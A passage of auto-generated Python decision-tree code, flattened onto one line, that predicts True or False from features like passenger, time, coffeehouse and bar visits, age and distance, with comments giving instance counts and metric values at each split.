'True' else: return 'True' else: return 'True' elif obj[1]>3: # {"feature": "Gender", "instances": 16, "metric_value": 0.4042, "depth": 10} if obj[3]<=0: # {"feature": "Bar", "instances": 10, "metric_value": 0.4444, "depth": 11} if obj[8]<=1.0: # {"feature": "Children", "instances": 9, "metric_value": 0.4815, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[8]>1.0: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Children", "instances": 6, "metric_value": 0.2667, "depth": 11} if obj[5]>0: # {"feature": "Bar", "instances": 5, "metric_value": 0.32, "depth": 12} if obj[8]<=0.0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[5]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[10]<=-1.0: # {"feature": "Bar", "instances": 8, "metric_value": 0.2, "depth": 9} if obj[8]<=-1.0: # {"feature": "Time", "instances": 5, "metric_value": 0.2667, "depth": 10} if obj[1]>0: # {"feature": "Children", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[5]>0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]<=0: return 'False' else: return 'False' elif obj[1]<=0: return 'False' else: return 'False' elif obj[8]>-1.0: return 'False' else: return 'False' else: return 'False' elif obj[6]>3: # {"feature": "Bar", "instances": 9, "metric_value": 0.0, "depth": 8} if obj[8]<=0.0: return 'True' elif obj[8]>0.0: return 'False' else: return 'False' else: return 'True' elif obj[4]>2: # {"feature": "Restaurant20to50", "instances": 61, "metric_value": 0.3305, "depth": 7} if obj[10]>0.0: # {"feature": "Time", "instances": 38, "metric_value": 0.1887, "depth": 8} if obj[1]>0: # {"feature": "Bar", "instances": 31, "metric_value": 0.1105, "depth": 9} if obj[8]<=2.0: # {"feature": "Children", "instances": 27, "metric_value": 0.0673, "depth": 10} if obj[5]<=0: return 'False' elif obj[5]>0: # {"feature": "Gender", "instances": 11, "metric_value": 0.1455, "depth": 11} if obj[3]>0: return 'False' elif obj[3]<=0: # {"feature": "Education", "instances": 5, "metric_value": 0.2667, "depth": 12} if obj[6]<=2: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[6]>2: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[8]>2.0: # {"feature": "Children", "instances": 4, "metric_value": 0.3333, "depth": 10} if obj[5]<=0: # {"feature": "Education", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[6]>1: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[6]<=1: return 'False' else: return 'False' elif obj[5]>0: return 'False' else: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Children", "instances": 7, "metric_value": 0.2143, "depth": 9} if obj[5]>0: # {"feature": "Gender", "instances": 4, "metric_value": 0.0, "depth": 10} if obj[3]<=0: return 'True' elif obj[3]>0: return 'False' else: return 'False' elif obj[5]<=0: return 'False' else: return 'False' else: return 'False' elif obj[10]<=0.0: # {"feature": "Bar", "instances": 23, "metric_value": 0.4174, "depth": 8} if obj[8]<=1.0: # {"feature": "Gender", "instances": 20, "metric_value": 0.4125, "depth": 9} if obj[3]<=0: # {"feature": "Education", "instances": 12, "metric_value": 0.2727, "depth": 10} if obj[6]<=3: # {"feature": "Time", "instances": 11, "metric_value": 0.2525, "depth": 11} if obj[1]<=3: # {"feature": "Children", "instances": 9, "metric_value": 0.1852, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2778, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[5]>0: return 'False' else: return 'False' elif obj[1]>3: # {"feature": "Children", "instances": 2, "metric_value": 0.0, "depth": 12} if obj[5]>0: return 'True' elif obj[5]<=0: return 'False' else: return 'False' else: return 'True' elif obj[6]>3: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Children", "instances": 8, "metric_value": 0.2083, "depth": 10} if obj[5]<=0: # {"feature": "Time", "instances": 6, "metric_value": 0.1667, "depth": 11} if obj[1]>0: return 'True' elif obj[1]<=0: # {"feature": "Education", "instances": 2, "metric_value": 0.0, "depth": 12} if obj[6]<=0: return 'True' elif obj[6]>0: return 'False' else: return 'False' else: return 'True' elif obj[5]>0: return 'False' else: return 'False' else: return 'True' elif obj[8]>1.0: return 'True' else: return 'True' else: return 'False' else: return 'False' elif obj[7]<=1.3264107549745603: # {"feature": "Education", "instances": 34, "metric_value": 0.444, "depth": 6} if obj[6]>1: # {"feature": "Age", "instances": 18, "metric_value": 0.2738, "depth": 7} if obj[4]<=4: # {"feature": "Time", "instances": 14, "metric_value": 0.1429, "depth": 8} if obj[1]>0: return 'True' elif obj[1]<=0: # {"feature": "Bar", "instances": 4, "metric_value": 0.3333, "depth": 9} if obj[8]>-1.0: # {"feature": "Gender", "instances": 3, "metric_value": 0.3333, "depth": 10} if obj[3]>0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[3]<=0: return 'True' else: return 'True' elif obj[8]<=-1.0: return 'False' else: return 'False' else: return 'False' elif obj[4]>4: # {"feature": "Time", "instances": 4, "metric_value": 0.25, "depth": 8} if obj[1]>3: # {"feature": "Children", "instances": 2, "metric_value": 0.0, "depth": 9} if obj[5]>0: return 'True' elif obj[5]<=0: return 'False' else: return 'False' elif obj[1]<=3: return 'False' else: return 'False' else: return 'False' elif obj[6]<=1: # {"feature": "Age", "instances": 16, "metric_value": 0.3571, "depth": 7} if obj[4]>2: # {"feature": "Time", "instances": 9, "metric_value": 0.3333, "depth": 8} if obj[1]<=3: # {"feature": "Restaurant20to50", "instances": 6, "metric_value": 0.1667, "depth": 9} if obj[10]>0.0: return 'True' elif obj[10]<=0.0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 10} if obj[3]<=0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=1: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[8]<=0.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]>3: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.3333, "depth": 9} if obj[10]<=1.0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 10} if obj[3]<=1: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=1: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[8]<=0.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: return 'False' else: return 'False' else: return 'False' elif obj[4]<=2: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.0, "depth": 8} if obj[10]<=1.0: return 'False' elif obj[10]>1.0: return 'True' else: return 'True' else: return 'False' else: return 'False' else: return 'True' else: return 'False' else: return 'True' else: return 'True' elif obj[2]<=1: # {"feature": "Bar", "instances": 2281, "metric_value": 0.4567, "depth": 2} if obj[8]<=1.0: # {"feature": "Children", "instances": 1601, "metric_value": 0.4408, "depth": 3} if obj[5]>0: # {"feature": "Occupation", "instances": 804, "metric_value": 0.3945, "depth": 4} if obj[7]>1.5424315569353801: # {"feature": "Time", "instances": 645, "metric_value": 0.4151, "depth": 5} if obj[1]<=3: # {"feature": "Coffeehouse", "instances": 565, "metric_value": 0.4343, "depth": 6} if obj[9]<=2.0: # {"feature": "Distance", "instances": 447, "metric_value": 0.4578, "depth": 7} if obj[12]<=2: # {"feature": "Restaurant20to50", "instances": 352, "metric_value": 0.4701, "depth": 8} if obj[10]<=2.0: # {"feature": "Education", "instances": 327, "metric_value": 0.4631, "depth": 9} if obj[6]<=2: # {"feature": "Direction_same", "instances": 242, "metric_value": 0.4459, "depth": 10} if obj[11]<=0: # {"feature": "Passanger", "instances": 174, "metric_value": 0.4624, "depth": 11} if obj[0]>1: # {"feature": "Age", "instances": 90, "metric_value": 0.4263, "depth": 12} if obj[4]<=6: # {"feature": "Gender", "instances": 83, "metric_value": 0.4108, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[4]>6: # {"feature": "Gender", "instances": 7, "metric_value": 0.3429, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' elif obj[0]<=1: # {"feature": "Age", "instances": 84, "metric_value": 0.4503, "depth": 12} if obj[4]<=2: # {"feature": "Gender", "instances": 47, "metric_value": 0.4908, "depth": 13} if obj[3]>0: return 'True' elif obj[3]<=0: return 'True' else: return 'True' elif obj[4]>2: # {"feature": "Gender", "instances": 37, "metric_value": 0.3935, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Passanger", "instances": 68, "metric_value": 0.383, "depth": 11} if obj[0]<=1: # {"feature": "Age", "instances": 58, "metric_value": 0.3577, "depth": 12} if obj[4]<=4: # {"feature": "Gender", "instances": 44, "metric_value": 0.3202, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[4]>4: # {"feature": "Gender", "instances": 14, "metric_value": 0.4317, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' elif obj[0]>1: # {"feature": "Gender", "instances": 10, "metric_value": 0.4, "depth": 12} if obj[3]<=0: # {"feature": "Age", "instances": 5, "metric_value": 0.4, "depth": 13} if obj[4]<=1: return 'True' elif obj[4]>1: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Age", "instances": 5, "metric_value": 0.2, "depth": 13} if obj[4]>0: return 'False' elif obj[4]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]>2: # {"feature": "Passanger", "instances": 85, "metric_value": 0.455, "depth": 10} if obj[0]<=2: # {"feature": "Direction_same", "instances": 73, "metric_value": 0.4729, "depth": 11} if obj[11]<=0: # {"feature": "Age", "instances": 50, "metric_value": 0.4387, "depth": 12} if obj[4]>2: # {"feature": "Gender", "instances": 32, "metric_value": 0.4023, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' elif obj[4]<=2: # {"feature": "Gender", "instances": 18, "metric_value": 0.4722, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Gender", "instances": 23, "metric_value": 0.475, "depth": 12} if obj[3]<=0: # {"feature": "Age", "instances": 12, "metric_value": 0.375, "depth": 13} if obj[4]<=6: return 'False' elif obj[4]>6: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Age", "instances": 11, "metric_value": 0.2828, "depth": 13} if obj[4]<=3: return 'True' elif obj[4]>3: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[0]>2: # {"feature": "Age", "instances": 12, "metric_value": 0.2593, "depth": 11} if obj[4]<=6: # {"feature": "Gender", "instances": 9, "metric_value": 0.1905, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.2449, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' elif obj[4]>6: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[10]>2.0: # {"feature": "Age", "instances": 25, "metric_value": 0.419, "depth": 9} if obj[4]<=4: # {"feature": "Education", "instances": 21, "metric_value": 0.4894, "depth": 10} if obj[6]<=3: # {"feature": "Gender", "instances": 12, "metric_value": 0.4167, "depth": 11} if obj[3]>0: # {"feature": "Passanger", "instances": 10, "metric_value": 0.4167, "depth": 12} if obj[0]<=1: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.3333, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[0]>1: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.3333, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' elif obj[6]>3: # {"feature": "Passanger", "instances": 9, "metric_value": 0.4444, "depth": 11} if obj[0]>1: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2667, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[3]<=0: return 'False' else: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[0]<=1: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[11]>0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[3]<=0: return 'True' else: return 'True' elif obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[4]>4: return 'True' else: return 'True' else: return 'True' elif obj[12]>2: # {"feature": "Education", "instances": 95, "metric_value": 0.3455, "depth": 8} if obj[6]>0: # {"feature": "Passanger", "instances": 69, "metric_value": 0.2466, "depth": 9} if obj[0]<=1: # {"feature": "Restaurant20to50", "instances": 67, "metric_value": 0.2445, "depth": 10} if obj[10]<=1.0: # {"feature": "Age", "instances": 46, "metric_value": 0.3062, "depth": 11} if obj[4]>2: # {"feature": "Gender", "instances": 23, "metric_value": 0.3742, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 12, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.2975, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[4]<=2: # {"feature": "Gender", "instances": 23, "metric_value": 0.1897, "depth": 12} if obj[3]>0: return 'False' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.3967, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[10]>1.0: # {"feature": "Age", "instances": 21, "metric_value": 0.0847, "depth": 11} if obj[4]<=3: return 'False' elif obj[4]>3: # {"feature": "Gender", "instances": 9, "metric_value": 0.1778, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[0]>1: return 'True' else: return 'True' elif obj[6]<=0: # {"feature": "Gender", "instances": 26, "metric_value": 0.4242, "depth": 9} if obj[3]>0: # {"feature": "Age", "instances": 15, "metric_value": 0.3889, "depth": 10} if obj[4]<=4: # {"feature": "Restaurant20to50", "instances": 12, "metric_value": 0.4583, "depth": 11} if obj[10]<=1.0: # {"feature": "Passanger", "instances": 8, "metric_value": 0.5, "depth": 12} if obj[0]<=1: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Passanger", "instances": 4, "metric_value": 0.375, "depth": 12} if obj[0]<=1: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[4]>4: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 11, "metric_value": 0.2727, "depth": 10} if obj[10]<=1.0: # {"feature": "Age", "instances": 6, "metric_value": 0.4444, "depth": 11} if obj[4]>0: # {"feature": "Passanger", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[0]<=1: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[4]<=0: # {"feature": "Passanger", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[0]<=1: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[9]>2.0: # {"feature": "Direction_same", "instances": 118, "metric_value": 0.3094, "depth": 7} if obj[11]<=0: # {"feature": "Restaurant20to50", "instances": 86, "metric_value": 0.2449, "depth": 8} if obj[10]<=1.0: # {"feature": "Education", "instances": 65, "metric_value": 0.176, "depth": 9} if obj[6]>1: # {"feature": "Age", "instances": 44, "metric_value": 0.083, "depth": 10} if obj[4]>2: # {"feature": "Passanger", "instances": 23, "metric_value": 0.1491, "depth": 11} if obj[0]<=1: # {"feature": "Gender", "instances": 14, "metric_value": 0.2413, "depth": 12} if obj[3]>0: # {"feature": "Distance", "instances": 9, "metric_value": 0.1852, "depth": 13} if obj[12]<=2: return 'False' elif obj[12]>2: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Distance", "instances": 5, "metric_value": 0.2, "depth": 13} if obj[12]<=2: return 'False' elif obj[12]>2: return 'False' else: return 'False' else: return 'False' elif obj[0]>1: return 'False' else: return 'False' elif obj[4]<=2: return 'False' else: return 'False' elif obj[6]<=1: # {"feature": "Age", "instances": 21, "metric_value": 0.3175, "depth": 10} if obj[4]<=2: # {"feature": "Distance", "instances": 15, "metric_value": 0.381, "depth": 11} if obj[12]>1: # {"feature": "Passanger", "instances": 14, "metric_value": 0.3429, "depth": 12} if obj[0]<=1: # {"feature": "Gender", "instances": 10, "metric_value": 0.4667, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'True' else: return 'True' elif obj[0]>1: return 'False' else: return 'False' elif obj[12]<=1: return 'True' else: return 'True' elif obj[4]>2: return 'False' else: return 'False' else: return 'False' elif obj[10]>1.0: # {"feature": "Passanger", "instances": 21, "metric_value": 0.3464, "depth": 9} if obj[0]<=2: # {"feature": "Age", "instances": 16, "metric_value": 0.2396, "depth": 10} if obj[4]>2: # {"feature": "Education", "instances": 12, "metric_value": 0.1458, "depth": 11} if obj[6]>0: # {"feature": "Distance", "instances": 8, "metric_value": 0.2, "depth": 12} if obj[12]<=2: # {"feature": "Gender", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[3]<=1: return 'False' else: return 'False' elif obj[12]>2: return 'False' else: return 'False' elif obj[6]<=0: return 'False' else: return 'False' elif obj[4]<=2: # {"feature": "Distance", "instances": 4, "metric_value": 0.3333, "depth": 11} if obj[12]<=2: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[3]<=1: # {"feature": "Education", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[6]<=2: return 'False' else: return 'False' else: return 'False' elif obj[12]>2: return 'True' else: return 'True' else: return 'True' elif obj[0]>2: # {"feature": "Age", "instances": 5, "metric_value": 0.2667, "depth": 10} if obj[4]<=2: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[3]<=1: # {"feature": "Education", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[6]<=2: # {"feature": "Distance", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[12]<=2: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[4]>2: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[11]>0: # {"feature": "Age", "instances": 32, "metric_value": 0.3842, "depth": 8} if obj[4]>2: # {"feature": "Distance", "instances": 21, "metric_value": 0.4222, "depth": 9} if obj[12]<=1: # {"feature": "Restaurant20to50", "instances": 15, "metric_value": 0.4308, "depth": 10} if obj[10]<=2.0: # {"feature": "Education", "instances": 13, "metric_value": 0.4249, "depth": 11} if obj[6]>2: # {"feature": "Gender", "instances": 7, "metric_value": 0.381, "depth": 12} if obj[3]>0: # {"feature": "Passanger", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[0]<=1: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' elif obj[6]<=2: # {"feature": "Passanger", "instances": 6, "metric_value": 0.4444, "depth": 12} if obj[0]<=1: # {"feature": "Gender", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[3]<=1: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[10]>2.0: return 'True' else: return 'True' elif obj[12]>1: # {"feature": "Passanger", "instances": 6, "metric_value": 0.2222, "depth": 10} if obj[0]>1: return 'False' elif obj[0]<=1: # {"feature": "Education", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[6]>0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.0, "depth": 12} if obj[10]<=1.0: return 'True' elif obj[10]>1.0: return 'False' else: return 'False' elif obj[6]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[4]<=2: # {"feature": "Passanger", "instances": 11, "metric_value": 0.1212, "depth": 9} if obj[0]<=1: return 'False' elif obj[0]>1: # {"feature": "Education", "instances": 3, "metric_value": 0.0, "depth": 10} if obj[6]>1: return 'False' elif obj[6]<=1: return 'True' else: return 'True' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]>3: # {"feature": "Passanger", "instances": 80, "metric_value": 0.2039, "depth": 6} if obj[0]<=2: # {"feature": "Distance", "instances": 76, "metric_value": 0.1805, "depth": 7} if obj[12]>1: # {"feature": "Gender", "instances": 50, "metric_value": 0.1036, "depth": 8} if obj[3]>0: return 'False' elif obj[3]<=0: # {"feature": "Age", "instances": 22, "metric_value": 0.2143, "depth": 9} if obj[4]>0: # {"feature": "Restaurant20to50", "instances": 14, "metric_value": 0.2984, "depth": 10} if obj[10]>1.0: # {"feature": "Education", "instances": 9, "metric_value": 0.1778, "depth": 11} if obj[6]>1: # {"feature": "Coffeehouse", "instances": 5, "metric_value": 0.2, "depth": 12} if obj[9]<=1.0: return 'False' elif obj[9]>1.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[6]<=1: return 'False' else: return 'False' elif obj[10]<=1.0: # {"feature": "Coffeehouse", "instances": 5, "metric_value": 0.2667, "depth": 11} if obj[9]>0.0: # {"feature": "Education", "instances": 3, "metric_value": 0.0, "depth": 12} if obj[6]<=2: return 'True' elif obj[6]>2: return 'False' else: return 'False' elif obj[9]<=0.0: return 'False' else: return 'False' else: return 'False' elif obj[4]<=0: return 'False' else: return 'False' else: return 'False' elif obj[12]<=1: # {"feature": "Age", "instances": 26, "metric_value": 0.284, "depth": 8} if obj[4]>2: # {"feature": "Coffeehouse", "instances": 13, "metric_value": 0.4103, "depth": 9} if obj[9]<=3.0: # {"feature": "Restaurant20to50", "instances": 12, "metric_value": 0.4167, "depth": 10} if obj[10]<=1.0: # {"feature": "Gender", "instances": 8, "metric_value": 0.3333, "depth": 11} if obj[3]>0: # {"feature": "Education", "instances": 6, "metric_value": 0.4167, "depth": 12} if obj[6]<=0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[6]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: return 'False' else: return 'False' elif obj[10]>1.0: # {"feature": "Gender", "instances": 4, "metric_value": 0.5, "depth": 11} if obj[3]<=0: # {"feature": "Education", "instances": 4, "metric_value": 0.5, "depth": 12} if obj[6]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[6]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[9]>3.0: return 'False' else: return 'False' elif obj[4]<=2: # {"feature": "Coffeehouse", "instances": 13, "metric_value": 0.1026, "depth": 9} if obj[9]<=2.0: return 'False' elif obj[9]>2.0: # {"feature": "Education", "instances": 3, "metric_value": 0.3333, "depth": 10} if obj[6]>0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[0]>2: # {"feature": "Age", "instances": 4, "metric_value": 0.0, "depth": 7} if obj[4]>3: return 'False' elif obj[4]<=3: return 'True' else: return 'True' else: return 'False' else: return 'False' elif obj[7]<=1.5424315569353801: # {"feature": "Age", "instances": 159, "metric_value": 0.2582, "depth": 5} if obj[4]<=6: # {"feature": "Restaurant20to50", "instances": 152, "metric_value": 0.2379, "depth": 6} if obj[10]<=2.0: # {"feature": "Direction_same", "instances": 151, "metric_value": 0.2335, "depth": 7} if obj[11]<=0: # {"feature": "Education", "instances": 118, "metric_value": 0.1898, "depth": 8} if obj[6]>0: # {"feature": "Time", "instances": 66, "metric_value": 0.11, "depth": 9} if obj[1]>1: # {"feature": "Coffeehouse", "instances": 40, "metric_value": 0.0467, "depth": 10} if obj[9]<=1.0: return 'False' elif obj[9]>1.0: # {"feature": "Passanger", "instances": 15, "metric_value": 0.1143, "depth": 11} if obj[0]<=1: return 'False' elif obj[0]>1: # {"feature": "Gender", "instances": 7, "metric_value": 0.2449, "depth": 12} if obj[3]<=1: # {"feature": "Distance", "instances": 7, "metric_value": 0.2449, "depth": 13} if obj[12]<=2: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]<=1: # {"feature": "Passanger", "instances": 26, "metric_value": 0.1828, "depth": 10} if obj[0]<=1: # {"feature": "Coffeehouse", "instances": 19, "metric_value": 0.0936, "depth": 11} if obj[9]>1.0: return 'False' elif obj[9]<=1.0: # {"feature": "Distance", "instances": 9, "metric_value": 0.1852, "depth": 12} if obj[12]>2: # {"feature": "Gender", "instances": 6, "metric_value": 0.2667, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[12]<=2: return 'False' else: return 'False' else: return 'False' elif obj[0]>1: # {"feature": "Distance", "instances": 7, "metric_value": 0.2381, "depth": 11} if obj[12]<=2: # {"feature": "Coffeehouse", "instances": 6, "metric_value": 0.2222, "depth": 12} if obj[9]>1.0: return 'False' elif obj[9]<=1.0: # {"feature": "Gender", "instances": 3, "metric_value": 0.3333, "depth": 13} if obj[3]>0: return 'True' elif obj[3]<=0: return 'False' else: return 'False' else: return 'False' elif obj[12]>2: return 'True' else: return 'True' else: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Coffeehouse", "instances": 52, "metric_value": 0.2564, "depth": 9} if obj[9]<=1.0: # {"feature": "Distance", "instances": 39, "metric_value": 0.1736, "depth": 10} if obj[12]<=2: # {"feature": "Passanger", "instances": 26, "metric_value": 0.2337, "depth": 11} if obj[0]>1: # {"feature": "Gender", "instances": 16, "metric_value": 0.0938, "depth": 12} if obj[3]>0: return 'False' elif obj[3]<=0: # {"feature": "Time", "instances": 4, "metric_value": 0.25, "depth": 13} if obj[1]<=2: return 'False' elif obj[1]>2: return 'True' else: return 'True' else: return 'False' elif obj[0]<=1: # {"feature": "Time", "instances": 10, "metric_value": 0.3048, "depth": 12} if obj[1]>0: # {"feature": "Gender", "instances": 7, "metric_value": 0.2449, "depth": 13} if obj[3]<=1: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[3]<=1: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[12]>2: return 'False' else: return 'False' elif obj[9]>1.0: # {"feature": "Distance", "instances": 13, "metric_value": 0.3846, "depth": 10} if obj[12]<=2: # {"feature": "Passanger", "instances": 10, "metric_value": 0.4167, "depth": 11} if obj[0]>1: # {"feature": "Time", "instances": 6, "metric_value": 0.2222, "depth": 12} if obj[1]>2: return 'False' elif obj[1]<=2: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[3]<=1: return 'True' else: return 'True' else: return 'True' elif obj[0]<=1: # {"feature": "Time", "instances": 4, "metric_value": 0.25, "depth": 12} if obj[1]<=1: return 'True' elif obj[1]>1: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[3]<=1: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[12]>2: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Time", "instances": 33, "metric_value": 0.3216, "depth": 8} if obj[1]<=1: # {"feature": "Education", 